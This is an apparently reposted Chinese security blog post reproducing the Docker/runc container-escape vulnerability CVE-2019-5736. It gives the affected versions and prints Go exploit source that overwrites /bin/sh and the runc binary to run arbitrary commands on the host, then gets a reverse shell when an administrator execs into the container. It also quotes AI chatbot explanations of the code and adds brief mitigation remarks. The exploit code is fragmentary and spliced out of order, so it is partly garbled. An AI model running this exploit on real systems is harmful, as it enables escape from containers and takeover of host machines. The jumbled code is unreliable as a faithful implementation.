docker逃逸漏洞的复现

admin 2023年12月16日13:07:01评论37 views字数 3750阅读12分30秒阅读模式

1.docker逃逸漏洞利用条件

1.Docker Version <18.09.2

2.RunC Version <1.0-rc6

3.攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限

2docker逃逸漏洞复现过程

POC:

关于docker逃逸漏洞复现过程poc -yanshu.45位漏洞package main// Implementation of CVE-2019-5736// Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport ("fmt""io/ioutil""os""strconv""strings""flag")

for found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)// Note, you do not need to use the O_PATH flag for the exploit to work.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)if int(handle.Fd()) > 0 {handleFd = int(handle.Fd())}}

"os""strconv""strings""flag")var shellCmd stringfunc init() {flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")flag.Parse()}func main() {// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash n" + shellCmd// First we overwrite /bin/sh with the /proc/self/exe interpreter pathfd, err := os.Create("/bin/sh")if err != nil {fmt.Println(err)return}fmt.Fprintln(fd, "#!/proc/self/exe")err = fd.Close()if err != nil {fmt.Println(err)return}fmt.Println("[+] Overwritten /bin/sh successfully")// Loop through all processes to find one whose cmdline includes runcinit// This will be the process created by runcvar found intfor found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)

return}}}

这段代码的讲解:
文心一言:
这段代码是一个用于复现 Docker 逃逸漏洞的 poc(Proof of Concept,概念证明)。具体来说,它是针对 CVE-2019-5736 漏洞的一个 poc。CVE-2019-5736 是一个 Docker 逃逸漏洞,允许攻击者在宿主机上执行任意命令。
下面是对代码的逐行解释:
package main:声明这是一个 Go 语言程序。
导入所需的库:
fmt:用于格式化输出。
ioutil:提供文件 I/O 操作。
os:提供与操作系统交互的功能。
strconv:提供字符串与整数之间的转换。
strings:提供字符串操作。
flag:用于处理命令行参数。
在 init 函数中,通过 flag.StringVar 定义了一个命令行参数 --shell,用于执行任意命令。
在 main 函数中,首先定义了要执行的 shell 命令 payload。
然后,它试图覆盖 /bin/sh(shell 的标准路径)为 /proc/self/exe,这是当前 Go 程序的解释器路径。这允许攻击者通过覆盖的 shell 执行任意命令。
通过循环遍历 /proc 目录下的所有进程,查找包含 "runc" 的进程。这是因为 Docker 使用 "runc" 作为其主进程的名称。找到这个进程后,获取其 PID(进程 ID)。
使用找到的 PID,获取 /proc/[PID]/exe 的文件句柄。这是因为在 Linux 中,每个进程都有一个与其 PID 对应的 /proc/[PID]/exe 文件,它实际上是该进程的可执行文件。
最后,使用获取的文件句柄覆盖 runc 的二进制文件,从而允许攻击者在宿主机上执行任意命令。
需要注意的是,这段代码并没有完整地展示如何执行攻击。它只是展示了如何覆盖 /bin/sh 并获取文件句柄以覆盖 runc 的二进制文件。为了真正利用这个漏洞,还需要进一步的操作来执行任意命令或进行其他攻击活动。

GPT:
这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。
代码的主要逻辑如下:
导入所需的包和定义全局变量。
在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。
在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。
创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。
循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。
使用PID获取runc进程的文件句柄handleFd。
使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。
程序结束。
这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。

首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行但是这里需要root超级用户权限

docker逃逸漏洞的复现

这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell

可以按照以下步骤进行:

安装Ubuntu Docker镜像:首先,通过命令docker pull ubuntu:18.04来下载并安装Ubuntu Docker镜像。

以host模式运行Docker:使用命令docker run -ti --rm --network=host <镜像ID>来运行Docker容器,其中--network=host参数表示将容器与宿主机共享网络模式。

进入容器:上述命令执行完成后,会自动进入容器。此时,你可以在容器内部执行一些命令。

下载并运行POC:在容器中下载并运行POC(Proof of Concept,概念证明),以测试是否存在Docker逃逸漏洞。具体的POC下载地址和运行命令可能会因实际情况而异,需要参考相关的安全公告或漏洞披露。

观察结果:如果存在Docker逃逸漏洞,POC运行后应该能够成功地从容器逃逸到宿主机上,并执行一些操作。

需要注意的是,复现Docker逃逸漏洞需要较高的权限和特定的环境配置,同时也存在一定的安全风险。因此,建议在安全的环境下进行测试,并遵循相关法律法规和道德规范。

docker逃逸漏洞的复现
docker逃逸漏洞的复现

Docker逃逸漏洞是一种严重的安全漏洞,它允许攻击者从容器内部逃逸到宿主机上,从而获得更高的权限和访问控制。

这个漏洞的危害在于:

攻击者可利用该漏洞获取宿主机上的系统权限,从而进行任意操作,如修改系统文件、安装恶意软件等,可能导致数据泄露、系统损坏等严重后果。

由于容器逃逸漏洞通常涉及到操作系统级别的权限提升,因此它可能被恶意攻击者利用来攻击其他容器或整个集群,造成更大的安全威胁。

因此,对于Docker逃逸漏洞的复现和防范措施是非常重要的。在复现过程中,需要仔细检查和测试Docker的配置和运行环境,确保没有潜在的安全漏洞。同时,及时更新Docker版本和相关组件,以修复已知的安全漏洞。

原文始发于微信公众号(天盾信安):docker逃逸漏洞的复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月16日13:07:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   docker逃逸漏洞的复现https://cn-sec.com/archives/2308411.html

发表评论

匿名网友 填写信息